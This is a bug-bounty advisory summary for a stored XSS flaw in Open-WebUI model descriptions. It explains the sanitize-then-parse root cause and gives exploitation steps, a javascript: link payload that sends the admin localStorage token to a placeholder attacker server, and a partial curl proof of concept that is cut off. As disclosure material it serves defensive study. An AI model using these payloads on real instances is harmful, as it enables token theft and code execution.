# open-webui Vulnerable to Stored XSS via Model Description

Stored XSS in Open-WebUI model descriptions: a markdown link with a javascript: URI survives sanitization, executes on click, and can exfiltrate the admin token from localStorage.

- Payout: Research
- Severity: high
- Program: Open-WebUI
- Found by: fr0stydev
- Disclosed: 2026-05-08
- CVE: CVE-2026-44721
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gf5m-wcrh-7928
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gf5m-wcrh-7928
- Tags: area:web domain:web impact:ato impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:xss

**Target:** Model description field rendered in chat placeholder Svelte components
**Root cause:** sanitizeResponseContent only escapes angle brackets, so a markdown link with a javascript: URI passes through unchanged; marked.parse() then converts it into an <a href="javascript:..."> that {@html} injects raw into the DOM.
**Steps:**
1. Authenticate as a user with workspace.models permission (or admin).
2. POST to `/api/v1/models/create` with `meta.description` set to `A helpful AI assistant. [Click here for docs](javascript:alert())`.
3. Select the created model in the chat UI.
4. Click the rendered hyperlink; the javascript: URI executes.
5. For token theft, use description `[View benchmarks](javascript:void(fetch(`http://<MALICIOUS_SERVER_IP>:8080/?t=${localStorage.token}`)))` and observe the token in the attacker server's request URL.
**How found:** Systematic codebase search for unsanitized `{@html}` rendering paths, then verifying that marked@9.1.6 does not block javascript: URIs and that sanitizeResponseContent only escapes angle brackets.
**Exploitation:** Attacker with model-creation rights stores a malicious description; any user (including admin) who opens the model and clicks the link runs attacker JS in the app origin, reading localStorage.token and exfiltrating it to an attacker server. The stolen admin token can then be used to create a tool that executes arbitrary code.
**Escalation:** Stolen admin token enables creating a new tool in Open-WebUI, which yields arbitrary code execution on the instance.
**Insight:** When a sanitizer only escapes angle brackets, look for downstream markdown/HTML parsers that synthesize dangerous attributes (javascript: hrefs, event handlers) after sanitization — the sanitize-then-parse ordering is the bug, not the sanitizer's tag handling.

## Proof of concept (copied exactly from the original report)

**curl creating model with javascript: XSS payload**

```
curl -X POST 'http://<HOST>/api/v1/models/create' \
  -H 'Authorization: Bearer <TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{
    "id": "xss-test",
    "name": "Helpful Assistant!",
    "base_model_id": "llama3",
    "meta": {
      "description": "A helpful AI assistant. [Click here for docs](javascript:alert())"
```

